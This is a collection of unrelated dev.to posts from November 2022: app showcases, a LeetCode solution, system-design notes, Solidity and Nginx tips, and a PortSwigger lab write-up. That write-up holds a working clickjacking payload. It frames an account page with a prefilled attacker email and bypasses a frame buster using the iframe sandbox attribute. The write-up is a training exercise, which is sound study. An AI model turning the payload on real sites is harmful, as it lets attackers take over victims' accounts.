teleren/devto huggingface dataset:
Qatar 2022 Pool Web App
Tags: webdev, react, firebase, typescript
Published: 2022-11-19 04:24:19

Hello Devs, this sunday starts the FIFA World Cup in Qatar, I made an app for run a [soccer/football pool](https://en.wikipedia.org/wiki/Betting_pool), in México we call it "quiniela".

Come out and play for free: https://qatar2022pool.web.app

I'm thinking about the prize for the winner, maybe a $40 USD Amazon Gift Card.

Now, the dev stuff :-) 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kis2b0akochwj9hhc10t.png)

**Features:**

- Realtime results for matches updated automatically from an external API.
- Leaderboard is also updated in realtime.
- You can make your predictions and view other users predictions.
- You can social login with Twitter, Facebook, Google or GitHub.

**Stack:**

- [React](https://github.com/facebook/create-react-app).
- [TypeScript](https://www.typescriptlang.org/).
- [Firebase Realtime Database](https://firebase.google.com/).
- [TailwindCSS](https://tailwindcss.com/)

**Repository:**

https://github.com/ionmx/qatar2022-pool/

If you want to install this project you can follow the instructions in the [README](https://github.com/ionmx/qatar2022-pool/blob/main/README.md) file.

Your help is very welcome, feel free to send a pull request.

Have fun!
Ideaas: A simple platform where lazy people can share their ideas with you and you can build them.
Tags: webdev, javascript, showdev, react
Published: 2022-11-19 04:08:52

## Introduction
do you have an idea that you can not build, share them with the community.
you can check the product here👉: [ideaas.co](ideaas.co)

## Why?
I had one friend who always had ideas but not the skill to build them. So, he used to tell me the ideas and I used to build them. Then I thought, why not create a community where people can share their idea, discuss and then build them.

## Future

- I'm going to add the option to sell an idea if you have more than a idea, such as a case study or some mvp.

- Sorting and tags

- Profile edit

## Tech stack

- Remix Run

- TailwindCSS

- cockroachDB

- Prisma ORM

Thank you 😊
587. Leetcode Solution in cpp
Tags: cpp
Published: 2022-11-19 04:01:13

```cpp
class Solution {
 public:
  vector<vector<int>> outerTrees(vector<vector<int>>& trees) {
    vector<vector<int>> hull;

    sort(begin(trees), end(trees), [](const auto& a, const auto& b) {
      return a[0] == b[0] ? a[1] < b[1] : a[0] < b[0];
    });

    // Build lower hull: left-to-right scan
    for (const auto& tree : trees) {
      while (hull.size() > 1 &&
             cross(hull.back(), hull[hull.size() - 2], tree) > 0)
        hull.pop_back();
      hull.push_back(tree);
    }
    hull.pop_back();

    // Build upper hull: right-to-left scan
    for (int i = trees.size() - 1; i >= 0; --i) {
      while (hull.size() > 1 &&
             cross(hull.back(), hull[hull.size() - 2], trees[i]) > 0)
        hull.pop_back();
      hull.push_back(trees[i]);
    }

    // Remove redundant elements from the stack
    sort(begin(hull), end(hull), [](const auto& a, const auto& b) {
      return a[0] == b[0] ? a[1] < b[1] : a[0] < b[0];
    });
    hull.erase(
        unique(begin(hull), end(hull),
               [](const auto& a,
                  const auto& b) { return a[0] == b[0] && a[1] == b[1]; }),
        end(hull));
    return hull;
  }

 private:
  int cross(const vector<int>& p, const vector<int>& q, const vector<int>& r) {
    return (q[1] - p[1]) * (r[0] - q[0]) - (q[0] - p[0]) * (r[1] - q[1]);
  }
};
```
#leetcode
#challenge
Here is the link for the problem:
https://leetcode.com/problems/erect-the-fence/
Release 0.3: Internal Code Reviews
Tags: opensource, beginners
Published: 2022-11-19 03:50:18

## Code Review

Code Review, also known as Peer Code Review, is the act of consciously and systematically convening with one’s fellow programmers to check each other’s code for mistakes and has been repeatedly shown to accelerate and streamline the process of software development like few other practices can.

We were asked to work on two code reviews for this assignment.

## First Review

[First review](https://github.com/Seneca-CDOT/telescope/pull/3760/files/d4680fdcc2b9b3cf7b2f29bab372f7813f8283f2)

In this review i believe theOptimal font sizes for desktop for the button should be around 16px to 18px for legibility (or 1.6rem to 1.8rem using our sizing rules mentioned above). If you can afford to go a bit larger, then even 21px can be pleasant to read.

There are no exact rules for font sizing, but there are some generally good practices to think about when designing.


## Second Review

[Second review](https://github.com/Seneca-CDOT/vscode-seneca-college/pull/13/files/1884d4acf66f5845b0dbee586cfe4abc9fdc455f)

I have requested to update the `README.md`.
Portswigger’s lab write up: Clickjacking with a frame buster script
Tags: webdev, portswigger, clickjacking, writeup
Published: 2022-11-19 03:40:24

In this apprentice level lab, we will exploit the change email flow from a website vulnerable to clickjacking via URL parameters, even though there is a frame buster script enabled.

* * * * *

Upon logging in with the given credentials, we notice that after going to the account page, all that is needed to change a user's email is click on the `Update Email` button and that the email can be prefilled via URL parameters. Let's use the writing material's clickjacking template to craft our exploit:

```
<head>
	<style>
		iframe {
			 position:relative;
			 width:700px;
			 height:600px;
			 opacity:0.1;
			 z-index:2;
			}
		div {
			 position:absolute;
			 z-index:1;
			}
	</style>
</head>
<body>
	<div>
		CLICK HERE
	</div>
	<iframe src="${LAB_ACCOUNT_ROUTE_URL}?email=attacker@email.com">
	</iframe>
</body>

```

This is how the template looks on our exploit server:

![](https://res-2.cloudinary.com/hbig9cpoo/image/upload/q_auto/v1/ghost-blog-images/1-1-.png)

We can read the message `This page cannot be framed`; this happens because the website enabled a frame buster script, so we cannot render an iframe on this site. A workaround we can try is to add the `sandbox` attribute to our exploit's iframe and set it to `allow-forms`; this will skip the frame buster script and render the iframe. This is how the exploit looks now:

![](https://res-3.cloudinary.com/hbig9cpoo/image/upload/q_auto/v1/ghost-blog-images/2-1-.png)

We need to modify the location of the `CLICK ME` div tag so that it is on top of the `Update Email` button on the vulnerable website. Note that we are setting the iframe's opacity to `0.1` to be able to check the exploit appearance and then modifying the div's top and left CSS properties so that when a logged in user clicks on the `CLICK ME` div on our website, they are actually clicking on the vulnerable website's button to update their email to whatever we previously set in the URL parameters. After setting the top property to 450px and the left property to 50px, it looks like the buttons are aligned to perform a successful attack. At this point, our exploit looks like this:

```
<head>
	<style>
		iframe {
			 position:relative;
			 width:700px;
			 height:600px;
			 opacity:0.1;
			 z-index:2;
			}
		div {
			 position:absolute;
			 z-index:1;
			 top:450px;
			 left:50px;
			}
	</style>
</head>
<body>
	<div>
		CLICK HERE
	</div>
	<iframe 
sandbox="allow-forms" src="${LAB_ACCOUNT_ROUTE_URL}?email=attacker@email.com">
	</iframe>
</body>

```

![](https://res-2.cloudinary.com/hbig9cpoo/image/upload/q_auto/v1/ghost-blog-images/3.png)

All we need to do is set the iframe's opacity to 0.00001 or something similar so that it is almost invisible and send the exploit to our victim.

Check out this write up on the Art Of Code: https://artofcode.tech/portswiggers-lab-write-up-clickjacking-with-a-frame-buster-script/

Github: https://github.com/christianpaez/portswigger/tree/main/labs/apprentice/clickjacking/clickjacking-with-a-frame-buster-script
Leader Election
Tags: systems, systemdesign, architecture, beginners
Published: 2022-11-19 03:06:53

We have seen the basic concept of availability [here](https://dev.to/pragyasapkota/system-availability-135h) and we know that [redundancy](https://dev.to/pragyasapkota/redundancy-1h72) leads to high system availability. In the process, we have seen some ways to handle server routing for the incoming requests if the clusters are formed in any way. However, there are cases where you will need a single server to take the lead in a group of servers that are all made for the same tasks. This avoids the issues that might arise if all the servers work concurrently, and each server will update the result individually. This operation is called Leader Election.

Under leader election, we allocate a specific server that handles a particular task to avoid the clusters from other servers working on the same problem at the same time. The lead server takes upon the respective responsibility and then works on that alone. When there are multiple servers, the clusters are formed and they among themselves can decide which will have the lead and which server will take over in case the leader server fails. The new leader is then accepted by all the servers in the network — the agreement is called Consensus. The difficult part to handle under Consensus is to check out if all the servers under the network are in sync with their data and operations along with their states. All the servers are provided with an “agreed-on” value when they need to go through their logic to identify the lead server.

Some software like “etcd” implements the leader concept in their architecture. This is taken as a reference by many developers and engineers for their leader-elected systems. The key-value pairs are stored in similar services and thus the representation of the leader is done.

## Conclusion

Leader election is a very helpful concept when there are multiple servers, and each server needs to be assigned to its respective primary responsibility to prevent the cluster from later in a time of need.

{% embed https://github.com/aygarp-modsiw/System-Design-Concepts %}

**_I hope this article was helpful to you._**

**_Please don’t forget to follow me!!!_**

**_Any kind of feedback or comment is welcome!!!_**

**_Thank you for your time and support!!!!_**

**_Keep Reading!! Keep Learning!!!_**
Vim plugin: Sync your file(such as .vimrc) to gist
Tags: vim
Published: 2022-11-19 03:04:08

  How save your .vimrc to remote storage like other IDEs, it's a problem for me. I didn't find any vim plugin meet my needs, so be inspired by [terminus-sync-config](https://www.npmjs.com/package/terminus-sync-config),  I write a plugin to do that. Currently only support gist, but it's extensible.

## Feature
After configurate your gist id and local filepath and remote filename mapping, you can open your ``.vimrc``, then use ``:PushConfig`` and ``:PullConfig`` to upload/donwload ``.vimrc``.

Of course, It's support all text file.

## Plugin
https://github.com/Me1onRind/EscSync
There is more detail in plugin's ``README.MD``.
Genie - new desktop application for every developers
Tags: webdev, opensource, productivity, github
Published: 2022-11-19 02:36:31

![geniefile](https://user-images.githubusercontent.com/112636345/202770767-3d06b5d6-fb0f-4fca-812e-25bc3ac28f96.png)

<p>Genie is a rule-based bot built in python. It's a helpful desktop application for everyone <br> who wants to do simple things quickly like download a file, minify, etc.,</p>

## Genie Avaliable for windows users
<p>It's just pre-release v1.0.0.meanwhile,  you can enjoy a few commands now. <br> Many things will add to Genie included in the next production</p>

<a href="https://www.mediafire.com/file/18silaadfodsdyg/Genie-v1.0.0.rar/file">
<div>
<img src="https://user-images.githubusercontent.com/112636345/202769156-121565d4-26cb-405e-977d-0bd6209b486f.png">
</div>
</a>

## Demo

[genie_edit_0.webm](https://user-images.githubusercontent.com/112636345/202772073-33b08c9e-2443-40a6-9542-256647c55033.webm)

## Docs
  <p>It contains detailed documentation about genie and other instructions too.</p>

<a href="https://www.mediafire.com/file/cdg2q17xhoahc7f/genie-docs.pdf/file">
<div>
<img src="https://user-images.githubusercontent.com/112636345/202768999-bd396f13-2ffc-4d1a-b619-213e31d0b355.png">
</div>
</a>

## Support
  <p>show love of genie to others or share, <br> you can find the badge in support-badge folder (repo)</p>

<div>
<img src="https://user-images.githubusercontent.com/112636345/202769367-780edaa4-604e-4bdd-873c-08d2925c6897.png">
</div>


## Copyright & License
 
<span>Copyright @ 2022 Genie | Created By Suresh P <br></span> 
<span>Made with Love For Developers | MIT License</span>

For more information, visit this site below:
https://github.com/sureshpandiyan1/Genie
Now JUnit Test Running in GitHub CI Actions
Tags: opensource, rust, java, staticsitegenerator
Published: 2022-11-19 02:18:24

Fortunately I wrote a CI yml file before. I'm familiar with YAML syntax. It's a simple CI that runs unit tests. In addition, I have a step to set up *Java JDK* and *Gradle*. Here's my YAML file. 

```yml
name: OpenSSG ci

on:
  pull_request:
    branches:
      - master

  push:
    branches:
      - master

jobs:
  unit-tests:
    name: Unit Tests
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Set up JDK 18
        uses: actions/setup-java@v3
        with:
          java-version: '18'
          distribution: 'adopt'
      - name: Set up Gradle
        uses: gradle/gradle-build-action@v2
      - name: Run unit tests
        run: gradle test
```

I also wrote a test for my partner who wrote `rost_gen` in *Rust*. Although I never wanted to learn *Rust*, he posted a message to find someone who can write a test for his project. So I wanted to help and use this opportunity to learn something new. It has C style underscore variable and function naming which looks fast like C. And a lot of short words like `fn`, `mut`, `pub`, etc. Since most functions don't have return value, I tried to capture console message to assert. I thought it would not be very difficult to get console output either to temporary buffer or to a file. But I had to spend many hours to get this single test working. It wasn't the end. Different from my expectation, it captures all output messages for entire tests. I made three different versions based on what I learned from internet, but I couldn't find a way to make the whole test work. I shared my code with repo owner to get his help. I found that the dependency that I used is not working in his machine. I use Mac and he has Windows. And code should be written in both platforms. I spent entire day to figure it out and literally tried everything on the internet, but it didn't work. I think Rust community is not so big. So I couldn't find many articles about capturing console output. 

I think it's good to add CI actions in GitHub so that I make sure that things are not broken by new code. Especially when anybody can update my code, it's very important that I tell everyone automatically that tests should pass or code must be linted and formatted. Also I have learned many tools for Java and Rust this week. Learning new tools and eco-system is very important when learning a new language.
Best marketing Channel built using Twinr
Tags: shopify, wordpress, android, ios
Published: 2022-11-19 01:27:37

There are lot of business owners out there who are always looking for ways to increase their revenue and grow their business.Customer engagement and loyalty are key to success, but finding the right marketing channel can be a big challenge. While there are many marketing channels out there, one of the best channel is Mobile apps.

[Twinr](https://twir.dev) is a perfect solution, a no code app builder that is customer centric and can help business owners grow their business and mobile apps are handled by Twinr. With Twinr, one can easily create Android and iOS native mobile apps. Since it requires no code, it is a perfect solution for all size of business.

If you are looking for a way to grow your business, then you should definitely [check out Twinr](https://builder.twinr.dev).

There are business owners using Shopify, WooCommerce, BigCommerce, WordPress, and Dukaan users are leveraging Twinr to build their apps.
Could not connect to development server on android emulator and on real device
Published: 2022-11-19 01:26:15





Have the same problem only on real android device.
Solution:

Add file android/app/src/main/res/xml/network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">localhost</domain>
    </domain-config>
</network-security-config>
Add line to android/app/src/main/AndroidManifest.xml
<application
    ...
    android:networkSecurityConfig="@xml/network_security_config"
    ...
>
Super IA vs Devs
Tags: career, programming, ia
Published: 2022-11-19 00:48:52


![Um robô humanoide](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r8rif4o7j5vbfpymgj9l.jpg)

Recentemente, durante uma conversa em um grupo de amigos desenvolvedores, surgiu uma dúvida: Uma super IA poderia ou não “roubar” o espaço dos programadores no mercado de trabalho?

Para ter um parâmetro de quão “super” essa IA precisaria ser, imagine a combinação das ferramentas e IAs mais poderosas atualmente, exatamente aquelas que você está acostumado a usar, certamente seria muito poderosa.

## A minha resposta...

Começo minha resposta com uma pergunta: atualmente, na empresa em que você trabalha, sendo júnior ou sênior, sua única responsabilidade é sentar em uma cadeira e programar?

Um programador é semelhante a um arquiteto e como tau, tem grande importância naquilo que está sendo construído, ele normalmente vai além do código, fazendo parte do planejamento, acompanhado execução e ajudando na tomada de decisões de acordo com as necessidades do projeto.

## Conclusão

Eu vejo essas “ferramentas” literalmente como ferramentas que ajudam ou vão ajudar o programador a ser mais produtivo ou que simplesmente atacam um determinado problema que pode ser automatizado, mesmo com uma “Super AI“, não vejo o mundo dos programadores sendo abalado, de fato. 

Na verdade, com a automatização de determinadas tarefas sobra mais tempo para os programadores focarem em coisas realmente importantes como qualidade do código, testes e novas funcionalidade. Ou seja, contribui para desenvolvermos softwares incríveis e torná-lo mais sustentáveis ao longo do tempo.

Deixe-me saber se concorda ou não comigo nos comentários!

Obrigado por chegar até aqui!
How to declare an array in Solidity
Tags: web3, blockchain, solidity, webdev
Published: 2022-11-19 00:47:55

You can declare an array in Solidity.

```solidity
type[length] name = [ ... ];
```
> Arrays in Solidity are fixed collections of elements with the same data type values. Each element has an index(position) within the array. An array is useful for holding fixed or unknown collections of values without having to create a different variable for each value.

Let's say you have vote counts from five polling units. Instead of creating five variables to hold each of these votes count, you create a single array to hold them.

```solidity
uint[5] votes = [10, 20, 8, 88, 14];
```

An array starts with the **type**, **length**, identifier, and values.

**Type** is the data type of the array. In the above example, we specify this array should contain only unsigned integers. Solidity support multiple [types](https://www.geeksforgeeks.org/solidity-types/?ref=lbp) e.g string.

**Length** of the array specifies the total values that the array can hold. Our example we set the array to hold only five values. If your array may contain unknown or infinite values, then you can just leave the length empty `uint[]`.

**Identifier** is the name of the array. Just give it any name that makes sense.

**Values** are the values in the array.

Hope that helps!

Recommended: [How to get the length of an array in Solidity](https://dev.to/forwardschool/how-to-get-array-length-in-solidity-335a)
Use these SDKs to improve devs experience on workflows
Published: 2022-11-19 00:39:20

Hi there!

Developers experience should be important as any other concept as it promote good experience on tools for developers so their performance and productivity can increase significantly.

To help companies on that mission, we have four differente SDKs, where each one is for the well-kwnown languages our there, which are:

- JavaScript
- Python
- Go
- Bash

So what can you do with these SDKs?

These SDKs are for those who use YML file for their workflows and want to display more information for developers during build and deploy phases, whether they trigger these workflows from Slack or via terminal.

Some methods can be used such as:

- sdk.track() -> to track events
- ux.print() -> if you want to display some message during the workflow execution for developers that are using Slack
- sdk.start() -> initialize a remote workflow available in a current team

Note that all these SDKs works better when the Developer Control Plane is being used together, so all the information contained in the Control Plane will be presented for developers who are interacting with it.

You can try out the Developer Control Plane [for free here]( https://go.cto.ai/3rfqPmV).
And you can reach out to me or our team if you have any questions.

Happy Friday and happy code!
How to get array length in Solidity
Tags: web3, blockchain, solidity, webdev
Published: 2022-11-19 00:11:30

Solidity has a special array property called `.length` that returns the Length of an Array.

```solidity
array.length
``` 

> The length of an Array is the total number of indexes, positions, or values in that array.

Let's say you have an array called `values` containing integers as below:

```solidity
int[] values = [15, 10, 14, 45]
```

To get the length of `values`, you can write:

```solidity
uint len = values.length
```

The variable `len` is now the length of `values` in this case 4 (an unsigned integer). 

Hope that helps.
How to fix DNS Internal Resolution inside the Nginx docker container
Tags: nginx, docker, dns
Published: 2022-11-19 10:53:05

---
title: How to fix DNS Internal Resolution inside the Nginx docker container
published: true
date: 2022-11-19 00:00:00 UTC
tags:
  - nginx
  - docker
  - dns
canonical_url: https://www.emmanuelgautier.com/blog/nginx-docker-dns-resolution
---

Sometimes, errors with Docker and some containers can become cryptic when it is about networking. Today, it was Nginx that was not able to reach another container. Here is the docker-compose used:

```yaml
version: '3'

services:
  containername:
    ...
    container_name: containername
    networks:
      - intranet

  nginx:
    image: nginx:1
    ports:
      - "8080:8080"
    volumes:
      - ./.docker/nginx/conf.d:/etc/nginx/conf.d
    networks:
      - intranet

networks:
  intranet:
```

And the Nginx configuration used:

```nginx
server {
    listen       8080;
    listen  [::]:8080;
    server_name  localhost;

    location / {
        proxy_pass http://containername:3000;
    }
}
```

Even after defining a container name and ensuring that the two containers can communicate inside the same docker network, Nginx continues throwing the following error: `no resolver defined to resolve container_name`

Thanks for this Stack Overflow [answer](https://stackoverflow.com/a/37656784) for helping me figure out what was the root cause. The problem is that Nginx's default behavior is not to make a DNS resolution with Docker's internal DNS so he can not resolve a container by name. To fix this issue, you need to make possible the resolution with the Docker internal DNS. Just add this line in the Nginx configuration and you should be OK:

```nginx
http {
    resolver 127.0.0.11;
}
```

Hope this quick post helps you fix a similar issue.
My 1st. Post
Published: 2022-11-18 23:39:36

Hello All,

I am new to coding. I was intrigued about how to safely share your e-mail address on a website. With all the different situations coding offers, I had “no idea.” The obfuscation from HTML to HTML & CSS, to the Embedded form approach, was enlightening. Here's the link, https://css-tricks.com/how-to-safely-share-your-email-address-on-a-website/